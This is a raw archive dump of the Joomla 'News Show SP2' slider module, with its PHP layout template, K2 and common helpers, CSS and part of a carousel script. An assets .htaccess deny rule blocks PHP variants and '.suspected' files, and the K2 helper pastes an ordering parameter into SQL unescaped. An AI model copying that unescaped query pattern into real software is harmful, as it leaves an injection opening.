													<div class="ns2-date-blog">
														<?php
															$date_time = explode(' ', JHTML::_('date', $list[$i]->created, 'd M Y'));
															echo '<span class="ns2_date_day">' . $date_time[0] . '</span>';
															echo '<div class="ns2_date_month_year"><span class="ns2_date_month">' . $date_time[1] . '</span><span class="ns2_date_year">' . $date_time[2] . '</span></div>';
														?>
													</div>
												<?php endif; ?>												
											
												<?php /*Image position before title*/if ($article_show_image && $article_image_pos=='top' && $list[$i]->image): ?>
													<?php if ($article_linked_image): ?>
														<a href="<?php echo $list[$i]->link ?>">
													<?php endif; ?>	
														<img class="ns2-image" style="<?php echo $article_image_float ?>;<?php echo ($article_image_margin) ? "margin:$article_image_margin" : "" ?>" src="<?php echo modNSSP2CommonHelper::thumb($list[$i]->image, $article_thumb_width, $article_thumb_height, $article_thumb_ratio, $uniqid) ?>" alt="<?php echo $list[$i]->title ?>" title="<?php echo $list[$i]->title ?>" />
													<?php if ($article_linked_image): ?>		
														</a>
													<?php endif; ?>			
												<?php endif; ?>												
												
												<?php /*Article title*/ if ($article_showtitle): ?>
													<h4 class="ns2-title">
														<?php if ($article_linkedtitle): ?>
															<a href="<?php echo $list[$i]->link ?>">
														<?php endif; ?>	
															<?php echo modNSSP2CommonHelper::cText($list[$i]->title, $article_count_title_text, $article_title_text_limit); ?>
														<?php if ($article_linkedtitle): ?>
															</a>
														<?php endif; ?>	
													</h4>
												<?php endif; ?>
												
												<?php /*Author, Category, date*/ if ($article_show_author || $article_date_format || $article_show_category): ?>
													<div class="ns2-tools">
														<?php /*Show Author*/ if ($article_show_author): ?>
															<div class="ns2-author">
																<?php echo '<span>' . JText::_('MODNS2_WRITTEN') . '</span>' . $list[$i]->author; ?>
															</div>
														<?php endif; ?>

														<?php /*Show category*/ if ($article_show_category): ?>
															<div class="ns2-category">
																<?php if ($article_show_author): ?>
																<span><?php echo JText::_('MODNS2_CATEGORY'); ?></span>
																<?php endif; ?>	
																<?php if ($article_linked_category): ?>
																	<a href="<?php echo $list[$i]->cat_link ?>">
																<?php endif; ?>	
																	<?php echo $list[$i]->category ?>
																<?php if ($article_linked_category): ?>
																	</a>
																<?php endif; ?>	
															</div>														
														<?php endif; ?>													
														
														<?php /*Show date*/ if (($article_date_format) && ($article_date_format!='blog')): ?>
															<div class="ns2-created">
																<?php if ($article_show_author || $article_show_category): ?>
																	<span><?php echo JText::_('MODNS2_CREATED') ?></span>
																<?php endif; ?>
																<?php echo JHTML::_('date', $list[$i]->created, JText::_($article_date_format)) ?>
															</div>
														<?php endif; ?>
													</div>
												<?php endif; ?>
	
												<?php /*Image position after title*/if ($article_show_image && $article_image_pos=='bottom' && $list[$i]->image): ?>
													<?php if ($article_linked_image): ?>
														<a href="<?php echo $list[$i]->link ?>">
													<?php endif; ?>	
														<img class="ns2-image" style="<?php echo $article_image_float ?>;<?php echo ($article_image_margin) ? "margin:$article_image_margin" : "" ?>" src="<?php echo modNSSP2CommonHelper::thumb($list[$i]->image, $article_thumb_width, $article_thumb_height, $article_thumb_ratio, $uniqid) ?>" alt="<?php echo $list[$i]->title ?>" title="<?php echo $list[$i]->title ?>" />
													<?php if ($article_linked_image): ?>		
														</a>
													<?php endif; ?>			
												<?php endif; ?>			
												
												<?php /*Ratings*/ if ($article_show_ratings): ?>
													<div class="ns2-rating">
														<div class="ns2-rating-bar">
															<div style="width:<?php echo $list[$i]->rating ?>%"></div>	
														</div>	
													</div>
												<?php endif; ?>

												<?php /*Introtext*/ if ($article_introtext): ?>
													<p class="ns2-introtext"><?php echo modNSSP2CommonHelper::cText($list[$i]->introtext, $article_count_intro_text, $article_intro_text_limit) ?></p>								
												<?php endif; ?>
												
												<div class="ns2-social">
													<?php /* Social Share */
														foreach (modNSSP2SocialHelper::icons($list[$i], $params) as $icon) {
															echo $icon;
														}
													?>
												</div>
												
												<?php /*Virtuemart*/ if ($art_show_price || $art_show_cart_button) : ?>
													<div class="ns2-vm-bar">
														<?php /*Show Price*/ if ($art_show_price) : ?>
															<p class="ns2-vm-price"><?php echo $list[$i]->price ?></p>
														<?php endif; ?>

														<?php /*Show Cart Button*/ if ($art_show_cart_button) : ?>
															<?php echo $list[$i]->addtocart ?>
														<?php endif; ?>
													</div>
												<?php endif; ?>
												
												<?php /*K2 Extra fields*/ if ($article_extra_fields && $content_source == 'k2' && count($list[$i]->extra_fields)): ?>
													<div style="clear:both"></div>
													<div class="NS2K2ExtraFields">
														<b><?php echo JText::_('Additional Info'); ?></b>
														<ul>
															<?php foreach ($list[$i]->extra_fields as $key=>$extraField): ?>
																<li class="type<?php echo ucfirst($extraField->type); ?> group<?php echo $extraField->group; ?> <?php echo strtolower($extraField->name) ?> <?php echo $key%2 ? 'even' : 'odd';?> <?php if ($key==0) echo 'first'; ?>">
																	<span class="label"><?php echo $extraField->name; ?></span>
																	<span class="value"><?php echo $extraField->value; ?></span>
																	<div style="clear:both"></div>
																</li>
															<?php endforeach; ?>
														</ul>
													</div>
													<div style="clear:both"></div>
												<?php endif; ?>								
												
												<?php /*Comments, readmore, hits*/ if ($article_show_more || $article_hits || $article_comments): ?>
													<div class="ns2-links">
														<?php /*Comments*/ if ($article_comments):
															echo $list[$i]->comment;
														endif; ?>							
														<?php /*Hits*/ if ($article_hits): ?>
															<span class="ns2-hits"><?php echo JText::_('HITS_TEXT') . ':' . $list[$i]->hits ?></span>
														<?php endif; ?>

														<?php /*Readmore*/ if ($article_show_more): ?>
															<a class="ns2-readmore" href="<?php echo $list[$i]->link ?>"><span><?php echo $article_more_text ?></span></a>
														<?php endif; ?>
													</div>
												<?php endif; ?>
												<div style="clear:both"></div>
												
											</div>
										</div>
									</div>
									<?php endif; ?>
								<?php endfor; $i--; ?>
								<div style="clear:both"></div>
							</div>
							<div style="clear:both"></div>
							</div>
						<?php endfor; $i--; ?>
						<div style="clear:both"></div>
						</div><!--end ns2-page-inner-->
					</div>
				<?php endfor; ?>
				</div>
				
				
				<?php /*Navigation*/ if ($article_animation!="disabled"): ?>
					<div style="clear:both"></div>
					<div class="ns2-art-controllers">
						<?php /*Pagination*/ if ($article_pagination): ?>
							<div class="ns2-art-pagination nssp2-controllers">
								<?php for ($i=0; $i < $row; $i++) { ?>
									<span data-target="#ns2-art-wrap<?php echo $modId; ?>" data-nsspwalk-to="<?php echo $i; ?>" class="<?php echo ($i==0) ? 'active' : ''; ?>"></span>
								<?php } ?>
							</div>
						<?php endif; ?>

						<?php /*Next & Previous*/ if ($article_arrows): ?>
							<a class="ns2-art-prev" href="#ns2-art-wrap<?php echo $modId; ?>" data-nsspwalk="prev">&laquo;</a>				
							<a class="ns2-art-next" href="#ns2-art-wrap<?php echo $modId; ?>" data-nsspwalk="next">&raquo;</a>
						<?php endif; ?>
						<div style="clear:both"></div>
					</div>
				<?php endif; ?>
				<div style="clear:both"></div>
			</div>
		<?php endif; ?>
		<!--End article layout-->
		
		<!--Links Layout-->
		<?php if ($links_block && $c_links_count!=0): ?>
		<?php 
			$links=$c_article_count;
		?>
		<div id="ns2-links-wrap<?php echo $modId; ?>" class="ns2-links-wrap <?php echo ($links_animation!="disabled") ? $links_animation . ' ' . $links_controllers_style : '' ?> <?php if ($links_position=="right"): ?> col-2 flt-left<?php endif; ?>">
			<?php if ($links_more): ?>
				<strong><?php echo  JText::_($links_more_text) ?></strong>
			<?php endif; ?>
			<div class="ns2-links-pages nssp2-inner">
			<?php for( $i = $links; $i < $links+$c_links_count; $i++ ): $link_row++; ?>
				<?php
					if( $links_animation != "disabled" )
					{
						if( $i == $links ){
							$anim_class = 'item active';
						}
						else
						{
							$anim_class = 'item';
						}
					}
					else
					{
						$anim_class = '';
					}
				?>
				<div class="ns2-page <?php echo $anim_class; ?>">
					<div class="ns2-page-inner">
						<?php for ($ii=0; $ii<$links_count; $ii++, $i++): ?>
							<?php if ($i<$a_count): ?>
								<div class="ns2-row <?php echo $ii==0 ? 'ns2-first' : '' ?> <?php echo $ii%2 ? 'ns2-even' : 'ns2-odd' ?>">
									<div class="ns2-row-inner">
										<div style="padding:<?php echo $links_col_padding ?>">
											<div class="ns2-inner">
												<?php /*Show Image*/ if ($links_show_image && $links_image_pos=='top' && $list[$i]->image): ?>
													<?php if ($links_linked_image): ?>
														<a href="<?php echo $list[$i]->link ?>">
													<?php endif; ?>	
														<img class="ns2-image" style="<?php echo $links_image_float ?>;<?php echo ($links_image_margin) ? "margin:$links_image_margin" : "" ?>" src="<?php echo modNSSP2CommonHelper::thumb($list[$i]->image, $links_thumb_width, $links_thumb_height, $links_thumb_ratio, $uniqid) ?>" alt="<?php echo $list[$i]->title ?>" title="<?php echo $list[$i]->title ?>" />
													<?php if ($links_linked_image): ?>		
														</a>
													<?php endif; ?>	
												<?php endif; ?>													
												
												<!--Start title-->											
												<h4 class="ns2-title">
													<a href="<?php echo $list[$i]->link ?>"><?php echo modNSSP2CommonHelper::cText($list[$i]->title, $links_title_count, $links_title_text_limit); ?></a>
												</h4>

												<?php /*Image after title*/ if ($links_show_image && $links_image_pos=='bottom' && $list[$i]->image): ?>
													<?php if ($links_linked_image): ?>
														<a href="<?php echo $list[$i]->link ?>">
													<?php endif; ?>	
														<img class="ns2-image" style="<?php echo $links_image_float ?>;<?php echo ($links_image_margin) ? "margin:$links_image_margin" : "" ?>" src="<?php echo modNSSP2CommonHelper::thumb($list[$i]->image, $links_thumb_width, $links_thumb_height, $links_thumb_ratio, $uniqid) ?>" alt="<?php echo $list[$i]->title ?>" title="<?php echo $list[$i]->title ?>" />
													<?php if ($links_linked_image): ?>		
														</a>
													<?php endif; ?>	
												<?php endif; ?>	
												
												<?php /*Intro Text*/ if ($links_show_intro): ?>
													<p class="ns2-introtext"><?php echo modNSSP2CommonHelper::cText($list[$i]->introtext, $links_intro_count, $links_intro_text_limit) ?></p>															
												<?php endif; ?>
							
												<?php /*Virtuemart*/ if ($links_show_price || $links_show_cart_button) : ?>
													<div class="ns2-vm-bar">
														<?php /*Show Price*/ if ($links_show_price) : ?>
															<p class="ns2-vm-price"><?php echo $list[$i]->price ?></p>
														<?php endif; ?>

														<?php /*Show Cart Button*/ if ($links_show_cart_button) : ?>
															<?php echo $list[$i]->addtocart ?>
														<?php endif; ?>
													</div>
												<?php endif; ?>
												<div style="clear:both"></div>
											</div>
										</div>
										<div style="clear:both"></div>
									</div>
								</div>
							<?php endif; ?>
						<?php endfor; $i--; ?>
						<div style="clear:both"></div>
					</div><!--End ns2-page-inner-->
				</div>
			<?php endfor; ?>
			</div>
			
			<?php /*Navigation*/ if ($links_animation!="disabled"): ?>
				<div style="clear:both"></div>
				<div class="ns2-links-controllers">
					<?php /*Pagination*/ if ($links_pagination): ?>
						<div class="ns2-links-pagination nssp2-controllers">
							<?php for ($i=0; $i < $link_row; $i++) { ?>
								<span data-target="#ns2-links-wrap<?php echo $modId; ?>" data-nsspwalk-to="<?php echo $i; ?>" class="<?php echo ($i==0) ? 'active' : ''; ?>"></span>
							<?php } ?>
						</div>
					<?php endif; ?>
					<?php /*Next & Previous*/ if ($article_arrows): ?>
						<a class="ns2-links-prev" href="#ns2-links-wrap<?php echo $modId; ?>" data-nsspwalk="prev">&laquo;</a>				
						<a class="ns2-links-next" href="#ns2-links-wrap<?php echo $modId; ?>" data-nsspwalk="next">&raquo;</a>
					<?php endif; ?>
					<div style="clear:both"></div>
				</div>
			<?php endif; ?>
			<div style="clear:both"></div>	
		</div>
		<?php endif; ?>
		<!--End Links Layout-->
		<div style="clear:both"></div>
	</div>
</div>

<script type="text/javascript">
	<?php if ($c_article_count > 0 && $article_animation!="disabled"): ?>
		!function ($) {
	        $(function(){
	          $('#ns2-art-wrap<?php echo $modId; ?>').nssp2({
	          	interval: <?php echo $article_animation_interval; ?>
	          })
	        })
	    }(window.jQuery)
	<?php endif; ?>

	<?php if ($links_block && $c_links_count!=0 && $links_animation!="disabled"): ?>
		!function ($) {
	        $(function(){
	          $('#ns2-links-wrap<?php echo $modId; ?>').nssp2({
	          	interval: <?php echo $links_animation_interval; ?>
	          })
	        })
	    }(window.jQuery)
	<?php endif; ?>
</script>mod_news_show_sp2/tmpl/index.html000060400000000054150747276150013165 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/k2helper.php000060400000011216150747276150012443 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');
$k2route = JPATH_SITE.'/components/com_k2/helpers/route.php';
$k2utilities = JPATH_SITE.'/components/com_k2/helpers/utilities.php';
if (file_exists($k2route))
	require_once($k2route);
	
if (file_exists($k2utilities))
	require_once($k2utilities);
	
abstract class modNSSP2K2Helper {

	public static function getList($params,$count){
	
			$catids								= $params->get('k2catids', array());
			$ordering							= $params->get('ordering', 'a.ordering');
			$ordering_direction					= $params->get('ordering_direction', 'ASC');
			$user_id							= $params->get('user_id');
			$show_featured						= $params->get('show_featured');

			$user 		= JFactory::getUser();
			$aid 		= $user->get('aid');
			$db 		= JFactory::getDBO();

			$jnow 		= JFactory::getDate();
			$now 		= $jnow->toSql();
			$nullDate 	= $db->getNullDate();

			$query = "SELECT a.*, c.name as categoryname,c.id as categoryid, c.alias as categoryalias, c.params as categoryparams".
			" FROM #__k2_items as a".
			" LEFT JOIN #__k2_categories c ON c.id = a.catid";
			$query .= " WHERE a.published = 1 AND a.access IN(".implode(',', $user->getAuthorisedViewLevels()).") AND a.trash = 0 AND c.published = 1 AND c.access IN(".implode(',', $user->getAuthorisedViewLevels()).")  AND c.trash = 0";
			
			// User filter
			$userId = JFactory::getUser()->get('id');
			switch ($params->get('user_id'))
			{
				case 'by_me':
					$query .= ' AND (a.created_by = ' . (int) $userId . ' OR a.modified_by = ' . (int) $userId . ')';
					break;
				case 'not_me':
					$query .= ' AND (a.created_by <> ' . (int) $userId . ' AND a.modified_by <> ' . (int) $userId . ')';
					break;

				case '0':
					break;

				default:
					$query .= ' AND (a.created_by = ' . (int) $userId . ' OR a.modified_by = ' . (int) $userId . ')';
					break;				
			}

			//Added Category
			if (!is_null($catids)) {
				if (is_array($catids)) {
					JArrayHelper::toInteger($catids);
					$query .= " AND a.catid IN(".implode(',', $catids).")";
				} else {
					$query .= " AND a.catid=".(int)$catids;
				}
			}		
			
			//  Featured items filter
			if ($show_featured == '0')
			$query .= " AND a.featured != 1";

			if ($show_featured == '1')
			$query .= " AND a.featured = 1";

			// ensure should be published
			$query .= " AND ( a.publish_up = ".$db->Quote($nullDate)." OR a.publish_up <= ".$db->Quote($now)." )";
			$query .= " AND ( a.publish_down = ".$db->Quote($nullDate)." OR a.publish_down >= ".$db->Quote($now)." )";
			
			//Ordering
			$orderby = $ordering . ' ' . $ordering_direction; //ordering

			$query .= " ORDER BY ".$orderby;
			$db->setQuery($query, 0, $count);
			$items = $db->loadObjectList();
			
			require_once (JPATH_SITE.'/components/com_k2/models/item.php');
			$model = new K2ModelItem;
			if (count($items)) {
				foreach ($items as $item) {
				
					if (! empty($item->created_by_alias)) {
						$item->author = $item->created_by_alias;
					} else {
						$author = JFactory::getUser($item->created_by);
						$item->author = $author->name;
					}
					
					$item->created 		= $item->created;
					$item->hits 		= $item->hits;
					$item->category 	= $item->categoryname;
					$item->cat_link 	= urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($item->catid.':'.urlencode($item->categoryalias))));
					$item->image 		= self::getImage($item->id, $item->introtext);
					$item->title 		= htmlspecialchars($item->title);
					$item->introtext 	= $item->introtext;
					$item->link 		= urldecode(JRoute::_(K2HelperRoute::getItemRoute($item->id.':'.urlencode($item->alias), $item->catid.':'.urlencode($item->categoryalias))));
					$item->comment		= '<a class="ns2-comments" href="' . $item->link . '#itemCommentsAnchor">' . JText::_('COMMENTS_TEXT') . ' (' . $model->countItemComments($item->id) . ')</a>';
					$item->rating 		= $model->getVotesPercentage($item->id);
					if ($params->get('article_extra_fields')) {
						$item->extra_fields = $model->getItemExtraFields($item->extra_fields, $item);
					}

					$rows[] = $item;
				}
				return $rows;
			}
	}
	
	//retrive k2 image
	private static function getImage($id, $text) {
		if (JFile::exists(JPATH_SITE . '/media/k2/items/cache/' . md5("Image" . $id) . '_XL.jpg')) {
			return 'media/k2/items/cache/' . md5("Image" . $id) . '_XL.jpg';
		} else {
			preg_match('/< *img[^>]*src *= *["\']?([^"\']*)/i', $text, $matches);
			if (isset($matches[1])) {
				return $matches[1];
			}		
		}	
	}
}mod_news_show_sp2/common.php000060400000007633150747276150012227 0ustar00<?php
/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

jimport('joomla.filter.output');
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
jimport('joomla.image.image.php');
require_once dirname(__FILE__) . '/image.php';

class modNSSP2CommonHelper {

	public static function cText($text, $limit, $type=0) {//function to cut text
		$text 					= preg_replace('/<img[^>]+\>/i', "", $text);
		if ($limit==0) {//no limit
			$allowed_tags 		= '<b><i><a><small><h1><h2><h3><h4><h5><h6><sup><sub><em><strong><u><br>';
			$text 				= strip_tags( $text, $allowed_tags );
			$text 				= $text;	
		} else {
			if ($type==1) {//character lmit
				$text 			= self::characterLimit($text, $limit, '...');
			} else {//word limit
				$text 			= self::wordLimit($text, $limit, '...');
			}		
		}
		return $text;
	}

	// Word limit
	public static function wordLimit($str, $limit = 100, $end_char = '&#8230;')
	{
		if (JString::trim($str) == '')
			return $str;

		// always strip tags for text
		$str = strip_tags($str);

		$find = array("/\r|\n/u", "/\t/u", "/\s\s+/u");
		$replace = array(" ", " ", " ");
		$str = preg_replace($find, $replace, $str);

		preg_match('/\s*(?:\S*\s*){'.(int)$limit.'}/u', $str, $matches);
		if (JString::strlen($matches[0]) == JString::strlen($str))
			$end_char = '';
		return JString::rtrim($matches[0]).$end_char;
	}

	// Character limit
	public static function characterLimit($str, $limit = 150, $end_char = '...')
	{
		if (JString::trim($str) == '')
			return $str;

		// always strip tags for text
		$str = strip_tags(JString::trim($str));

		$find = array("/\r|\n/u", "/\t/u", "/\s\s+/u");
		$replace = array(" ", " ", " ");
		$str = preg_replace($find, $replace, $str);

		if (JString::strlen($str) > $limit)
		{
			$str = JString::substr($str, 0, $limit);
			return JString::rtrim($str).$end_char;
		}
		else
		{
			return $str;
		}

	}
	
	public static function thumb($image, $width, $height, $ratio=false, $uniqid) {

		if( substr($image,0,4)=='http' ) {//to detect externel image source
			if(strpos($image, JURI::base())===FALSE) {//externel source
				return $image;
			} else {//return internel image relative path
				$image = str_replace(JURI::base(),'',$image);
			}
		}
		
		// remove any / that begins the path
		$image = ltrim($image,'/');

		$image = JPATH_ROOT . '/' . $image;
		
		//cache path
		$thumb_dir = JPATH_CACHE.'/mod_news_show_sp2/nssp2_thumbs/'. $uniqid;
		
		if (!JFolder::exists($thumb_dir)) {
			JFolder::create($thumb_dir, 0755);
		}

		$file_name 			= JFile::stripExt(basename($image));
		$file_ext 			= JFile::getExt($image);
		$thumb_file_name 	= $thumb_dir . '/' . $file_name . '.' . $file_ext;
		$thumb_url 			= basename(JPATH_CACHE) .'/mod_news_show_sp2/nssp2_thumbs/'. $uniqid. '/' . $file_name . "_{$width}x{$height}." . $file_ext;

		//Creating thumbnails		
		if ( file_exists($image) ) {
			self::crop($image, $width, $height, $ratio, $thumb_dir, $thumb_file_name);
		}


			
		return $thumb_url;	
	}

	private static function crop($image_to_resize, $width, $height, $ratio, $thumbs_path, $thumb_file)
	{
		
		$sizes = array("{$width}x{$height}");

		$image = new modNSSP2ImageHelper( $image_to_resize );
		//$output = $image->createThumbs($sizes, 1, $thumbs_path);
		
		if( file_exists( $thumb_file ) )
		{
			$imageProperties = modNSSP2ImageHelper::getImageFileProperties( $thumb_file );

			if( $imageProperties->width != $width || $imageProperties->height != $height )
			{
				//$image = new JImage( $image_to_resize );
				$output = $image->createThumbs($sizes, 1, $thumbs_path);
			}

		} else {
			//$image = new JImage( $image_to_resize );
			$output = $image->createThumbs($sizes, 1, $thumbs_path);
		}

		return true;

	}
		
}mod_news_show_sp2/assets/.htaccess000044400000000177150747276150013324 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_news_show_sp2/assets/index.html000060400000000054150747276150013513 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/assets/css/index.html000060400000000054150747276150014303 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/assets/css/mod_news_show_sp2.css000060400000014126150747276150016464 0ustar00/*
# News Show SP2 - News display/Slider module by JoomShaper.com
# Author    JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2015 JoomShaper.com. All Rights Reserved.
# @license - GNU/GPL V2 or later
# Websites: http://www.joomshaper.com
*/
h4.ns2-title {font-size:100%;font-weight:bold}
a.ns2-readmore span,span.ns2-hits,a.ns2-comments {margin:0 5px 0 0;font-size:0.9em}
a.ns2-readmore span {background:url(../images/more.png) no-repeat 0 0;padding:0 0 0 13px}
span.ns2-hits {color:#666666;background:url(../images/hits.png) no-repeat 0 0;padding:0 0 0 14px}
a.ns2-comments {background:url(../images/comments.png) no-repeat 0 0;padding:0 0 0 18px}
img.ns2-image {max-width:100%;height:auto;}

/*Blog type date*/
.ns2-date-blog {float:left;margin:0 10px 0 0;background:#333;padding:6px 10px;text-align:center;color:#999}
	.ns2_date_day{font-size:14px;font-weight:700}
	.ns2_date_month_year{display:block;text-transform:uppercase}
	.ns2_date_month_year span{display:block}
	span.ns2_date_month{font-size:11px;line-height:120%}
	span.ns2_date_year{font-size:10px}

/*Article tools*/
div.ns2-tools{color:#999;font-size:0.9em}
div.ns2-tools span {margin:0 5px 0 0}
div.ns2-author,
div.ns2-created,
div.ns2-category {display:inline}

/*Rating*/
div.ns2-rating{height:16px;white-space:nowrap;margin:5px 0 0}
div.ns2-rating-bar,div.ns2-rating-bar div{height:16px;background-image:url(../images/transparent_star.png);background-repeat:repeat-x}
div.ns2-rating-bar{width:80px;overflow:hidden;background-position:0 0}
div.ns2-rating-bar div{background-position:0 -16px;display:block}

/*Newly added*/
div.nssp2 .flt-left {float:left}
div.nssp2 .col-1 {width:100%}
div.nssp2 .col-2 {width:50%}
div.nssp2 .col-3 {width:33.333%}
div.nssp2 .col-4 {width:25%}
div.nssp2 .col-5 {width:20%}
div.nssp2 .col-6 {width:16.666%}
div.nssp2 .col-7 {width:14.256%}
div.nssp2 .col-8 {width:12.5%}
div.nssp2 .col-9 {width:11.111%}
div.nssp2 .col-10 {width:10%}

/*Animation Area*/
div.ns2-page {overflow:hidden;}

div.nssp2-default .ns2-art-controllers, div.nssp2-default .ns2-links-controllers {float:right}
div.nssp2-default .ns2-art-pagination, div.nssp2-default .ns2-links-pagination{float:left;margin:0 10px}
		
	.ns2-art-prev, .ns2-links-prev,
	.ns2-art-play, .ns2-links-play,
	.ns2-art-pause, .ns2-links-pause,
	.ns2-art-next, .ns2-links-next,
	.ns2-art-pagination span, .ns2-links-pagination span {
		cursor: pointer;
		display: inline-block;
	}
	
	.ns2-art-pagination, .ns2-links-pagination {
		display:inline-block;	
	}
		
	div.nssp2-default .ns2-art-prev, div.nssp2-default .ns2-links-prev,
	div.nssp2-default .ns2-art-play, div.nssp2-default .ns2-links-play,
	div.nssp2-default .ns2-art-pause, div.nssp2-default .ns2-links-pause,
	div.nssp2-default .ns2-art-next, div.nssp2-default .ns2-links-next,
	div.nssp2-default .ns2-art-pagination span, div.nssp2-default .ns2-links-pagination span{
		background-image:url(../images/nav-buttons.png);
		background-repeat:no-repeat;
		width:8px;
		height:9px;
		float:left;
		text-indent:-999em;
		margin:0 2px;
	}
	
	div.nssp2-default .ns2-art-prev, 
	div.nssp2-default .ns2-links-prev {background-position:0 0}
	div.nssp2-default .ns2-art-prev:hover, 
	div.nssp2-default .ns2-links-prev:hover {background-position:0 -9px}
	div.nssp2-default .ns2-art-next, 
	div.nssp2-default .ns2-links-next {background-position:-8px 0}
	div.nssp2-default .ns2-art-next:hover, 
	div.nssp2-default .ns2-links-next:hover {background-position:-8px -9px}
	div.nssp2-default .ns2-art-play, 
	div.nssp2-default .ns2-links-play {background-position:-24px 0}
	div.nssp2-default .ns2-art-play:hover, 
	div.nssp2-default .ns2-links-play:hover {background-position:-24px -9px}
	div.nssp2-default .ns2-art-pause, 
	div.nssp2-default .ns2-links-pause {background-position:-32px 0}
	div.nssp2-default .ns2-art-pause:hover, 
	div.nssp2-default .ns2-links-pause:hover {background-position:-32px -9px}
	div.nssp2-default .ns2-art-pagination span, 
	div.nssp2-default .ns2-links-pagination span{background-position:-16px 0}
	div.nssp2-default .ns2-art-pagination span:hover, 
	div.nssp2-default .ns2-links-pagination span:hover, 
	div.nssp2-default .ns2-art-pagination span.active, 
	div.nssp2-default .ns2-links-pagination span.active{background-position:-16px -10px}
	
/*Share*/
div.nssp2 .ns2-social {}
div.nssp2 .ns2-social span.ns2-share-icon {display:inline-block;margin-left:10px}
div.nssp2 .ns2-social span:first-child {margin-left:0}



/*Slide*/
.nssp2-slide{
	overflow: hidden;
}
.nssp2-slide .nss2-inner {
  position: relative;
  width: 100%;
  overflow: hidden;
}
.nssp2-slide .nss2-inner > .item {
  position: relative;
  display: none;
  -webkit-transition: .6s ease-in-out left;
  	transition: .6s ease-in-out left;
}
.nssp2-slide .nss2-inner > .item > img,
.nssp2-slide .nss2-inner > .item > a > img {
  line-height: 1;
}
.nssp2-slide .nss2-inner > .active,
.nssp2-slide .nss2-inner > .next,
.nssp2-slide .nss2-inner > .prev {
  display: block;
}
.nssp2-slide .nss2-inner > .active {
  left: 0;
}
.nssp2-slide .nss2-inner > .next,
.nssp2-slide .nss2-inner > .prev {
  position: absolute;
  top: 0;
  width: 100%;
}
.nssp2-slide .nss2-inner > .next {
  left: 100%;
}
.nssp2-slide .nss2-inner > .prev {
  left: -100%;
}
.nssp2-slide .nss2-inner > .next.left,
.nssp2-slide .nss2-inner > .prev.right {
  left: 0;
}
.nssp2-slide .nss2-inner > .active.left {
  left: -100%;
}
.nssp2-slide .nss2-inner > .active.right {
  left: 100%;
}


/*Fade*/
.nssp2-fade,
.nssp2-fade .nnsp2-inner,
.nssp2-fade .nssp2-inner .item {
  height: 100%;
}

.nssp2-fade .nss2-inner .item {
  opacity: 0;
  -webkit-transition-property: opacity;
  	-moz-transition-property: opacity;
  		-ms-transition-property: opacity;
  			-o-transition-property: opacity;
  				transition-property: opacity;
}
.nssp2-fade .nss2-inner .active {
  opacity: 1;
}
.nssp2-fade .nss2-inner .active.left,
.nssp2-fade .nss2-inner .active.right {
  left: 0;
  opacity: 0;
  z-index: 1;
}
.nssp2-fade .nss2-inner .next.left,
.nssp2-fade .nss2-inner .prev.right {
  opacity: 1;
}
.nssp2-fade .nss2-control {
  z-index: 2;
}

/*No Effect*/
.nssp2-noeffect .nssp2-inner .item {
  display: none;
}

.nssp2-noeffect .nssp2-inner .item.active {
  display: block;
}
mod_news_show_sp2/assets/js/index.html000060400000000054150747276150014127 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/assets/js/nssp2.js000060400000015523150747276150013544 0ustar00/* ==========================================================
 * bootstrap-carousel.js v2.3.2
 * http://twitter.github.com/bootstrap/javascript.html#carousel
 * ==========================================================
 * Copyright 2012 Twitter, Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * ========================================================== */


!function ($) {

  "use strict"; // jshint ;_;


 /* CAROUSEL CLASS DEFINITION
  * ========================= */

  var newsShowSP2 = function (element, options) {
    this.$element = $(element)
    this.$indicators = this.$element.find('.nssp2-controllers')
    this.options = options
    this.options.pause == 'hover' && this.$element
      .on('mouseenter', $.proxy(this.pause, this))
      .on('mouseleave', $.proxy(this.cycle, this))
  }

  newsShowSP2.prototype = {

    cycle: function (e) {
      if (!e) this.paused = false
      if (this.interval) clearInterval(this.interval);
      this.options.interval
        && !this.paused
        && (this.interval = setInterval($.proxy(this.next, this), this.options.interval))
      return this
    }

  , getActiveIndex: function () {
      this.$active = this.$element.find('.item.active')
      this.$items = this.$active.parent().children()
      return this.$items.index(this.$active)
    }

  , to: function (pos) {
      var activeIndex = this.getActiveIndex()
        , that = this

      if (pos > (this.$items.length - 1) || pos < 0) return

      if (this.sliding) {
        return this.$element.one('walking', function () {
          that.to(pos)
        })
      }

      if (activeIndex == pos) {
        return this.pause().cycle()
      }

      return this.nsspwalk(pos > activeIndex ? 'next' : 'prev', $(this.$items[pos]))
    }

  , pause: function (e) {
      if (!e) this.paused = true
      if (this.$element.find('.next, .prev').length && $.support.nssp2transition.end) {
        this.$element.trigger($.support.nssp2transition.end)
        this.cycle(true)
      }
      clearInterval(this.interval)
      this.interval = null
      return this
    }

  , next: function () {
      if (this.sliding) return
      return this.nsspwalk('next')
    }

  , prev: function () {
      if (this.sliding) return
      return this.nsspwalk('prev')
    }

  , nsspwalk: function (type, next) {
      var $active = this.$element.find('.item.active')
        , $next = next || $active[type]()
        , isCycling = this.interval
